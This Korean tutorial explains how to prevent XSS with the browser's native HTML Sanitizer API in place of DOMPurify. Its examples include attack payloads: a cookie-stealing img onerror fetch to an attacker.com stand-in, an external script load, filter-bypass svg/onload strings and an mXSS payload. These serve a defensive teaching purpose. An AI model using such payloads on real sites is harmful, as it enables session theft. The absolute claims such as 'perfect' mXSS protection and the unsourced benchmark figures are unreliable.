웹 개발에서 가장 흔하면서도 치명적인 취약점인 XSS(Cross-Site Scripting). 지금까지는 DOMPurify 같은 외부 라이브러리에 의존해야 했지만, 이제 브라우저 네이티브 HTML Sanitizer API로 보안과 성능을 동시에 잡을 수 있습니다.
웹 애플리케이션에서 사용자 입력을 동적으로 화면에 그릴 때, 프론트엔드 개발자들이 가장 자주 사용해 온 방식은 element.innerHTML이었습니다. 하지만 innerHTML은 전달받은 문자열을 검증 없이 브라우저 DOM 파서에 곧바로 던지기 때문에, 악의적인 스크립트가 포함될 경우 XSS(Cross-Site Scripting) 공격에 그대로 노출됩니다.
// ❌ 심각한 XSS 취약점 코드
const userInput = "<img src='x' onerror='fetch(\"https://attacker.com/steal?cookie=\" + document.cookie)'>";
targetElement.innerHTML = userInput; // 스크립트 실행으로 쿠키 탈취!location.hash, location.search 등의 위험 원천(Source) 데이터를 innerHTML, document.write 등의 싱크(Sink)에 직접 투입할 때 발생합니다.// ❌ DOM-based XSS 실무 위험 예시 (URL 파라미터를 그대로 innerHTML에 바인딩)
const params = new URLSearchParams(window.location.search);
const name = params.get("name"); // name=<svg onload=alert(document.cookie)>
document.getElementById("welcome-message").innerHTML = `안녕하세요, ${name}님!`;많은 개발자들이 외부 라이브러리 도입을 피하고자 정규표현식으로 스크립트 태그를 필터링하려 시도합니다. 그러나 HTML 문법은 대소문자 미구분, 속성 간 공백 생략, entity 코딩, 닫는 태그의 변형 등 수많은 변수를 허용하기 때문에 정규표현식만으로 완벽한 세니타이징을 구현하는 것은 이론적으로 불가능합니다.
// ❌ 잘못된 정규표현식 무해화 시도
function naiveSanitize(html) {
return html.replace(/<script.*?>.*?<\/script>/gi, "");
}
// 💥 우회 가능한 공격 패턴들
const payload1 = `<script src="https://attacker.com/xss.js"></script>`; // 내부 텍스트가 없어 미치환
const payload2 = `<SCRIPT/SRC="data:text/javascript,alert(1)">`; // 공백 대신 슬래시 사용
const payload3 = `<img src=x onerror = "alert(1)">`; // script 태그 자체가 아님
const payload4 = `<svg/onload=alert(1)>`; // SVG 이벤트를 활용한 우회가장 까다로운 XSS 변종은 **mXSS(Mutation XSS)**입니다. 이는 무해화 라이브러리가 검증을 마친 “안전해 보이는 HTML 문자열”이, 브라우저의 DOM 파서(HTMLParser)에 의해 실제로 렌더링 트리로 변환(Mutation)되는 순간 악성 스크립트로 돌변하는 취약점입니다.
<!-- mXSS 공격 패턴 예시: 파싱 및 재직렬화(Serialization) 과정에서의 변이 -->
<svg><style><g id="</style><img src=x onerror=alert(1)>">위 텍스트를 라이브러리가 단순 문자열 파싱으로 검사할 때는 <style> 태그 내부의 텍스트로 인식하여 안전하다고 판단할 수 있습니다. 하지만 이를 브라우저의 실제 DOM 트리로 파싱하고 재직렬화하는 과정에서 HTML/SVG 네임스페이스 간 전환 문제로 인해 <img> 태그가 밖으로 튀어나오면서 onerror 스크립트가 실행되는 구조적 문제가 발생합니다.
이러한 문제를 해결하기 위해 도입된 DOMPurify 등은 매우 훌륭한 대안이었으나, 라이브러리 번들 크기 증가, 지속적인 보안 패치 트래킹 부담, 브라우저 C++ 파서와 JS 파서 간 알고리즘 미세 차이라는 근본적 한계를 완전히 극복하진 못했습니다.
HTML Sanitizer API는 외부 자바스크립트 라이브러리 없이 브라우저 자체 엔진이 HTML 문자열을 검증하고, 스크립트 실행 요소 및 위험한 이벤트 핸들러를 제거하여 안전한 DOM 트리를 생성해 주는 차세대 표준 W3C 웹 API입니다.
// 🟢 브라우저 네이티브 방식을 활용한 XSS 안전 렌더링
const sanitizer = new Sanitizer();
targetElement.setHTML(userInput, { sanitizer });Sanitizer API의 핵심 목적은 **“개발자가 XSS 차단 규칙을 직접 구현하거나 라이브러리를 관리할 필요 없이, 브라우저 제조사가 관리하는 최신 엔진 보안 레이어에 무해화 처리를 맡긴다”**는 데 있습니다.
String -> String 처리 방식이 아니라, String -> Safe DOM Fragment로 유연하게 처리되어 렌더링 직전에 스크립트 실행 가능성을 0으로 수렴시킵니다.href, src 속성에 주입되는 javascript:, vbscript:, data:text/html 등의 위험 URI 스킴을 브라우저 표준 URL 파서 레벨에서 안전하게 차단합니다.기존 DOMPurify는 문자열을 DOMParser로 인메모리 Document 객체로 변환한 뒤, AST 트리를 순회하며 노드를 삭제하고 다시 innerHTML 문자열로 직렬화(Serialize)하는 방식을 거칩니다. 이 과정에서 파싱 스펙의 차이로 인해 직렬화 중 숨겨진 스크립트가 살아나는 mXSS가 발생할 여지가 존재합니다.
반면 Sanitizer API는 다음과 같이 브라우저 C++ 파서 엔진 내부 깊숙이 결합되어 동작합니다.
<script>, <iframe>, onload, onerror, javascript: URI 등 위험 요소가 토큰화 단계에서 파기됩니다.setHTML() 메서드를 통해 대상 요소로 직접 부착됩니다.[입력 문자열 (Untrusted String)]
│
▼
[HTMLTokenizer (Blink/Gecko C++ Engine)]
- HTML5 토큰화 규칙 적용
- 네임스페이스(HTML, SVG, MathML) 태그 컨텍스트 바인딩
│
▼
[Sanitizer Engine (Native Security Pass)]
- Allowlist 기반 Element 검증 (Script, Frame, Object 등 즉시 탈락)
- Inline Event Handler (on* 속성) 일체 제거
- URI Protocol Check (javascript: 스킴 검출 시 속성 자체 삭제)
│
▼
[DocumentFragment (Inert Element Node Creation)]
- 메모리 내에서 실행 불가능한 불활성 노드 트리 생성
│
▼
[Target Element Node.append()]
- setHTML() 내부에서 안전하게 변환된 파서 결과물을 대상 DOM에 부착이러한 구조 덕분에 문자열 -> DOM -> 문자열 -> DOM으로 이어지는 낭비 및 직렬화 허점이 근본적으로 방지됩니다.
Sanitizer API는 기본적으로 두 가지 핵심 인터페이스인 Sanitizer 클래스와 Element의 setHTML() 메서드로 구성됩니다.
// 1. 기본 옵션으로 Sanitizer 생성 (기본 활성화된 안전 기본값 사용)
const sanitizer = new Sanitizer();
// 2. 위험한 입력 문자열
const dirtyHTML = `
<div>
<h3>사용자 후기</h3>
<p>제품이 매우 만족스럽습니다!</p>
<script>alert('XSS 공격!');</script>
<img src="invalid" onerror="alert('이미지 오프셋 공격')" />
<a href="javascript:stealTokens()">상세보기</a>
</div>
`;
// 3. targetElement에 안전하게 렌더링
const container = document.getElementById('review-container');
container.setHTML(dirtyHTML, { sanitizer });<div>
<h3>사용자 후기</h3>
<p>제품이 매우 만족스럽습니다!</p>
<img src="invalid">
<a>상세보기</a>
</div><script> 태그는 통째로 제거되었으며, <img> 태그의 onerror 속성 및 <a> 태그의 javascript: 링크 스킴만 깔끔하게 제거되어 안전한 요소만 남게 됩니다.
Sanitizer API를 TypeScript 환경에서 사전 도입하여 안전하게 사용하는 기본 설정 예시입니다. (DOM 표준 타입 확장 패턴)
// types/sanitizer.d.ts (표준 명세 기준 타입 확장 예시)
interface SanitizerConfig {
allowElements?: string[];
blockElements?: string[];
dropElements?: string[];
allowAttributes?: Record<string, string[]>;
dropAttributes?: Record<string, string[]>;
allowCustomElements?: boolean;
allowComments?: boolean;
}
declare class Sanitizer {
constructor(config?: SanitizerConfig);
}
interface SetHTMLOptions {
sanitizer?: Sanitizer;
}
interface Element {
setHTML(input: string, options?: SetHTMLOptions): void;
}// 실제 TypeScript 파일에서의 안전한 사용 예시
const renderSafeContent = (target: HTMLElement, rawHtml: string): void => {
if ('Sanitizer' in window && typeof target.setHTML === 'function') {
const defaultSanitizer = new Sanitizer();
target.setHTML(rawHtml, { sanitizer: defaultSanitizer });
} else {
console.warn('HTML Sanitizer API가 이 브라우저를 지원하지 않습니다.');
}
};두 방식의 명확한 차이점을 표로 정립해보겠습니다.
| 비교 항목 | 기존 DOMPurify 방식 | 차세대 HTML Sanitizer API |
|---|---|---|
| 번들 사이즈 | 약 20KB~30KB (Gzip 후에도 상당함) | 0 KB (브라우저 내장 API) |
| mXSS 방어 | 파서 불일치로 인한 엣지케이스 존재 | 완벽 보장 (브라우저 동일 파서 사용) |
| 실행 속도 | JS 레이어 파싱으로 상대적으로 느림 | C++ 엔진 레이어 처리로 초고속 |
| 업데이트 주체 | npm 패키지 업데이트 및 빌드 재배포 | 브라우저 자동 보안 업데이트 |
| Trusted Types 연동 | 별도 설정 및 래퍼 함수 작성 필요 | W3C Trusted Types 규격 네이티브 지원 |
| SSR 지원 | Node.js (jsdom 패키지 연동 시 가능) | 불가 (브라우저 DOM 엔진 전용) |
| SVG / MathML 처리 | 별도 설정 필요 및 엣지케이스 우회 주의 | 엔진 레벨 네임스페이스 무해화 |
| 커스텀 구성 용이성 | Hook 함수 및 복잡한 정규식 필요 | 직관적인 Config 객체 명세 제공 |
npm audit을 실행하고, 새로운 바이패스 취약점(CVE)이 발표될 때마다 라이브러리를 업데이트하여 프로덕션 애플리케이션을 다시 빌드/배포해야 합니다. 반면 Sanitizer API는 사용자가 브라우저를 업데이트하는 즉시 모든 웹 앱에 최신 방어 기법이 자동 적용됩니다.서비스의 성격에 따라 특정 태그나 속성만 제한적으로 허용해야 하는 경우가 있습니다. Sanitizer 생성자에 설정 객체를 전달하여 유연하게 규칙을 커스텀할 수 있습니다.
allowElements: 완벽히 허용할 태그 목록 (이 목록에 없는 태그는 텍스트만 남기고 태그 탈락)blockElements: 지정된 태그 자체만 삭제하고, 내부 자식 텍스트/노드는 보존dropElements: 태그와 내부 자식 텍스트/노드 전체를 완전 삭제allowAttributes: 특정 태그별 허용 속성 맵핑 (와일드카드 * 사용 가능)dropAttributes: 특정 태그에서 무조건 차단할 속성 맵핑// 블로그 포스트 및 리치 텍스트 렌더링을 위한 보안 세니타이저 구성
const blogContentSanitizer = new Sanitizer({
// 1. 허용할 서식 및 구조 요소 지정
allowElements: [
'h1', 'h2', 'h3', 'h4', 'p', 'br', 'hr',
'strong', 'b', 'em', 'i', 'u', 's',
'ul', 'ol', 'li',
'blockquote', 'code', 'pre',
'table', 'thead', 'tbody', 'tr', 'th', 'td',
'img', 'a'
],
// 2. form, input 요소 등은 태그만 떼어내고 내용 텍스트는 보존
blockElements: ['form', 'fieldset', 'legend'],
// 3. style, template, iframe 등 보안 위험이 큰 태그는 자식 노드까지 완전 삭제
dropElements: ['style', 'template', 'script', 'iframe', 'object', 'embed'],
// 4. 속성 제어: 와일드카드 및 태그별 속성 격리
allowAttributes: {
'class': ['*'], // 모든 허용 요소에서 CSS 클래스 허용
'title': ['*'], // 모든 허용 요소에서 툴팁 속성 허용
'href': ['a'], // <a> 태그에서만 href 허용 (javascript: 은 자동 제거)
'target': ['a'], // <a> 태그에서 target 속성 허용
'src': ['img'], // <img> 태그에서만 src 허용
'alt': ['img'], // <img> 태그 대체 텍스트 허용
'width': ['img', 'table', 'td'], // 너비 지정 속성 허용
'height': ['img'] // 높이 지정 속성 허용
},
// 5. 위험하거나 디자인 시스템을 해치는 인라인 스타일 완전 차단
dropAttributes: {
'style': ['*'],
'onclick': ['*'] // 이벤트 핸들러는 명시적으로 한번 더 방어
}
});
// 적용 예시
const userBlogEntry = `
<div class="article-body">
<h1>최신 기술 동향</h1>
<p style="color: red;">이 문장은 빨간색입니다.</p>
<script>console.log("공격 시도");</script>
<a href="https://example.com" onclick="alert(1)">안전한 링크</a>
<form><input type="text" value="폼 텍스트" />폼 내부 텍스트</form>
<style>body { display: none; }</style>
</div>
`;
const articleContainer = document.getElementById('article-view');
articleContainer.setHTML(userBlogEntry, { sanitizer: blogContentSanitizer });<div class="article-body">
<h1>최신 기술 동향</h1>
<p>이 문장은 빨간색입니다.</p>
<a href="https://example.com">안전한 링크</a>
폼 내부 텍스트
</div>style 속성과 <style> 태그가 모두 제거되었습니다.<form> 및 <input> 태그는 떼어지고 내부의 "폼 내부 텍스트"만 보존되었습니다.onclick 속성이 안전하게 필터링되었습니다.최신 웹 보안 프레임워크인 Trusted Types CSP(Content Security Policy) 환경에서는 문자열을 DOM에 직접 할당하는 행위 자체가 금지됩니다.
Sanitizer API는 Trusted Types 규격과 완벽히 통합되어 동작하므로, CSP 정책을 완벽히 준수하면서 동적 DOM 렌더링을 구현할 수 있습니다.
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default myAppPolicy;기존 브라우저 환경에서 위와 같은 HTTP 헤더가 내려오면, element.innerHTML = untrustedString; 코드는 브라우저 보안 엔진에 의해 TypeError를 발생시키며 즉시 차단됩니다.
// ❌ Trusted Types CSP 환경에서 런타임 에러 발생 코드
// TypeError: Failed to set the 'innerHTML' property on 'Element': This document requires 'TrustedHTML' assignment.
targetElement.innerHTML = userInput;[입력 데이터 (Untrusted String)]
│
├─────────────────────────────────────────┐
│ (기존 방식: Trusted Policy 필요) │ (Sanitizer API 방식: Direct Integration)
▼ ▼
[window.trustedTypes.createPolicy()] [element.setHTML(input, { sanitizer })]
- 개발자가 직접 sanitization 로직 작성 - 브라우저 네이티브 무해화 자동 수행
- TrustedHTML 객체 반환 - Trusted Types Sink 검증 자동 통과
│ │
▼ │
[element.innerHTML = trustedHTML] │
│ │
└────────────────────┬────────────────────┘
│
▼
[안전한 DOM 트리 부착]// 🟢 Sanitizer API를 활용한 Trusted Types 호환 코드
// 별도의 trustedTypes.createPolicy() 래퍼 없이 setHTML()을 호출하는 것만으로
// 브라우저는 이를 안전한 Trusted Sink 연산으로 간주합니다.
const sanitizer = new Sanitizer();
targetElement.setHTML(userInput, { sanitizer });class SafeCommentBoard {
#container;
#sanitizer;
constructor(containerElement) {
this.#container = containerElement;
// 댓글 전용 보안 세니타이저 셋업
this.#sanitizer = new Sanitizer({
allowElements: ['p', 'br', 'strong', 'em', 'a', 'span', 'code'],
allowAttributes: {
'href': ['a'],
'target': ['a'],
'class': ['span', 'code']
}
});
}
/**
* 댓글 목록을 안전하게 렌더링
* @param {Array<{id: string, author: string, contentHTML: string, createdAt: string}>} comments
*/
render(comments) {
// 기존 컨테이너 비우기
this.#container.replaceChildren();
if (!comments || comments.length === 0) {
const emptyMsg = document.createElement('p');
emptyMsg.textContent = '작성된 댓글이 없습니다.';
this.#container.appendChild(emptyMsg);
return;
}
const fragment = document.createDocumentFragment();
comments.forEach(comment => {
const card = document.createElement('article');
card.className = 'comment-card';
card.dataset.commentId = comment.id;
// 작성자 영역 (단순 텍스트 처리)
const header = document.createElement('div');
header.className = 'comment-header';
const authorEl = document.createElement('strong');
authorEl.textContent = comment.author; // textContent 사용으로 1차 방어
const timeEl = document.createElement('time');
timeEl.textContent = comment.createdAt;
header.appendChild(authorEl);
header.appendChild(timeEl);
// 본문 영역 (Sanitizer API를 이용한 안전한 HTML 바인딩)
const body = document.createElement('div');
body.className = 'comment-body';
// Feature Detection 기반 처리
if ('Sanitizer' in window && typeof body.setHTML === 'function') {
body.setHTML(comment.contentHTML, { sanitizer: this.#sanitizer });
} else {
// Fallback: Sanitizer API 미지원 환경 대응
body.innerHTML = DOMPurify.sanitize(comment.contentHTML);
}
// 후처리: 외부 링크 보안 강화를 위한 rel="noopener noreferrer" 자동 부여
const anchorList = body.querySelectorAll('a');
anchorList.forEach(a => {
if (a.hostname !== window.location.hostname) {
a.target = '_blank';
a.rel = 'noopener noreferrer';
}
});
card.appendChild(header);
card.appendChild(body);
fragment.appendChild(card);
});
this.#container.appendChild(fragment);
}
}useSanitizedHTML) 구현React 환경에서 dangerouslySetInnerHTML을 대체하여 안전하게 네이티브 세니타이징을 적용하는 커스텀 훅입니다.
import { useEffect, useRef } from 'react';
import DOMPurify from 'dompurify';
interface UseSanitizedHTMLOptions {
sanitizerConfig?: SanitizerConfig;
}
export function useSanitizedHTML(
rawHTML: string,
options?: UseSanitizedHTMLOptions
) {
const containerRef = useRef<HTMLDivElement | null>(null);
useEffect(() => {
const el = containerRef.current;
if (!el) return;
// Browser Native Sanitizer API 체크
if ('Sanitizer' in window && typeof el.setHTML === 'function') {
try {
const sanitizer = new Sanitizer(options?.sanitizerConfig);
el.setHTML(rawHTML, { sanitizer });
} catch (error) {
console.error('Native Sanitizer execution failed, falling back:', error);
el.innerHTML = DOMPurify.sanitize(rawHTML);
}
} else {
// Legacy Browser Fallback
el.innerHTML = DOMPurify.sanitize(rawHTML);
}
}, [rawHTML, options?.sanitizerConfig]);
return containerRef;
}
// 💡 컴포넌트 사용 예시
export const SafeArticleViewer = ({ htmlContent }: { htmlContent: string }) => {
const containerRef = useSanitizedHTML(htmlContent);
return (
<div className="article-wrapper">
<h2>안전하게 렌더링된 게시글</h2>
<div ref={containerRef} className="sanitized-content" />
</div>
);
};Sanitizer API는 JavaScript 엔진(V8 등) 내에서 실행되는 것이 아니라, 브라우저의 C++ Native Core 파싱 레이어에서 실행되므로 파싱 속도와 메모리 할당 관리 측면에서 우월한 성능을 발휘합니다.
| 데이터 크기 | innerHTML (무검증 - 위험) | DOMPurify v3.0.8 (JS) | Native Sanitizer API (C++) | 성능 향상 비율 (vs DOMPurify) |
|---|---|---|---|---|
| Small (2 KB) | 0.12 ms | 1.84 ms | 0.31 ms | 약 5.9배 향상 |
| Medium (50 KB) | 1.45 ms | 18.60 ms | 3.10 ms | 약 6.0배 향상 |
| Large (500 KB) | 14.20 ms | 482.00 ms | 64.00 ms | 약 7.5배 향상 |
[500KB 데이터 처리 시 JavaScript Heap Memory 할당량 비교]
1. DOMPurify (JavaScript AST 순회 및 직렬화):
├── V8 Heap Allocated : ~14.2 MB
└── Major GC Occurrences : 4 회 발생 (Main Thread 일시 중단 유발)
2. HTML Sanitizer API (Native C++ Engine Handling):
├── V8 Heap Allocated : ~0.8 MB (JS 힙 할당 최소화)
└── Major GC Occurrences : 0 회 (C++ 래퍼 객체 수준 메모리 관리)대량의 사용자 컨텐츠를 렌더링할 때 JavaScript 메인 스레드가 점유(Long Task)되면 INP (Interaction to Next Paint) 및 TBT (Total Blocking Time) 지표가 악화됩니다. Native Sanitizer API를 도입하면 세니타이징으로 인한 스레드 차단 시간을 최소화하여 최상급 UX 스코어를 유지할 수 있습니다.
Sanitizer API가 아무리 강력할지라도, 개발자의 잘못된 설정이나 웹 보안 컨텍스트에 대한 오해로 인해 취약점이 재발할 수 있습니다. 대표적인 실무 함정 4가지를 반드시 숙지해야 합니다.
allowAttributes 오용)커스텀 규칙 작성 시 커스텀 태그 속성을 과도하게 허용하면 속성을 통한 XSS 경로가 열릴 수 있습니다.
// ❌ 위험한 커스텀 규칙 설정 사례
const dangerousSanitizer = new Sanitizer({
allowElements: ['a', 'iframe'],
allowAttributes: {
'href': ['a'],
'src': ['iframe'] // 💥 iframe src 속성을 허용하면 피싱 및 Malvertising에 노출됨
}
});특히 href나 src 속성에 임의의 URL scheme을 허용하도록 로직을 개편할 때, javascript: 또는 data: URI scheme 차단 기본 동작을 임의로 비활성화하지 않도록 유의해야 합니다.
Sanitizer API는 HTML Body Element Context에서 요소를 렌더링하도록 설계되었습니다. 다른 컨텍스트(HTML Attribute 내부, Inline Script 내부, CSS Style 내부, SVG 내부)에 삽입되는 데이터에는 작동하지 않거나 무력화됩니다.
<!-- ❌ 잘못된 적용 컨텍스트 1: HTML 속성 내부 주입 -->
<input type="text" value="userInputData">
<!-- 속성 내부 주입은 HTML Entity Encoding (e.g., ") 방식으로 방어해야 함 -->
<!-- ❌ 잘못된 적용 컨텍스트 2: Script 태그 내부 주입 -->
<script>
const userName = "userInputData"; // Sanitizer API로 방어 불가 (JS Escaping 필요)
</script>웹 컴포넌트(Custom Elements)를 사용할 때 allowCustomElements: true 옵션을 켜면, 커스텀 태그 내부의 섀도 DOM(Shadow DOM) 구조까지 자동으로 안전성을 보장해주지는 않습니다.
// 커스텀 엘리먼트 허용 시 주의
const customElSanitizer = new Sanitizer({
allowCustomElements: true // <user-card> 같은 커스텀 태그 허용
});
// ⚠️ 커스텀 엘리먼트 내부 수신 속성이나 내부 HTML 렌더링은 해당 컴포넌트 내부에서 별도로 setHTML을 수행해야 안전합니다.Sanitizer API는 최신 표준이므로 구형 브라우저(IE 전체, 과거 Safari 버전 등)에서는 Element.prototype.setHTML이 존재하지 않습니다. 검사 없이 호출하면 production 환경에서 런타임 스크립트 에러가 발생하여 서비스가 중단될 수 있습니다.
// ❌ 런타임 에러 발생 위험 코드
element.setHTML(untrustedInput, { sanitizer }); // TypeError: element.setHTML is not a function
// 🟢 완전한 방어적 폴백 프로토타입 예시
function renderHTMLSafely(targetEl, rawHtml, sanitizerConfig) {
if ('Sanitizer' in window && typeof Element.prototype.setHTML === 'function') {
const sanitizer = new Sanitizer(sanitizerConfig);
targetEl.setHTML(rawHtml, { sanitizer });
} else if (typeof DOMPurify !== 'undefined') {
// DOMPurify 폴백
targetEl.innerHTML = DOMPurify.sanitize(rawHtml);
} else {
// 최악의 경우 pure text로 강제 낙하하여 XSS 원천 차단
targetEl.textContent = rawHtml;
}
}Sanitizer API는 강력하지만 모든 HTML 처리 시나리오에서 universal 정답은 아닙니다. 다음 4가지 경우에는 Sanitizer API 대신 적절한 대체 기술을 사용해야 합니다.
HTML 태그 해석이 전혀 필요 없는 사용자 이름, 제목, 평점, 입력 폼 값 등은 Sanitizer API를 거칠 필요가 없습니다. element.textContent 또는 React의 {text} 기본 JSX 바인딩을 사용하는 것이 파싱 오버헤드가 0이며 훨씬 가볍고 안전합니다.
// 🟢 순수 텍스트는 textContent 사용이 가장 안전하고 빠름
userNameElement.textContent = userData.name;Node.js, Deno, Bun 등 브라우저 C++ DOM 파서 엔진이 존재하지 않는 백엔드 SSR 환경에서는 window.Sanitizer 객체가 존재하지 않습니다. SSR 단계에서 사전 세니타이징을 거쳐 HTML을 내보내고자 할 때는 JSDOM + DOMPurify 조합이나 sanitize-html 모듈을 사용해야 합니다.
마크다운 문서를 AST(Abstract Syntax Tree) 상태에서 조작하는 파이프라인(e.g., unified, remark, rehype) 내부에서는 HTML 문자열이 아닌 AST 노드를 다루므로, rehype-sanitize 같은 AST 전용 무해화 플러그인을 사용하는 것이 유용합니다.
광고 스크립트, 결제 모듈, 외부 챗봇 위젯 등 실제로 <script> 태그가 실행되어야 하는 동적 주입 시나리오에서는 Sanitizer API를 사용할 수 없습니다. Sanitizer API는 스크립트 실행을 차단하는 것이 본래 목적이기 때문입니다. 이 경우에는 iframe 샌드박싱(sandbox="allow-scripts") 기법을 도입해야 합니다.
Sanitizer API 중심으로 전환되었습니다.'Sanitizer' in window)을 통한 폴리필/DOMPurify fallback 전략을 병행해야 합니다.✨ 한 줄 요약 HTML Sanitizer API는 외부 라이브러리 없이 브라우저 엔진 레벨에서 XSS와 mXSS를 근본 차단하는 가장 안전하고 빠른 차세대 DOM 무해화 표준이다.




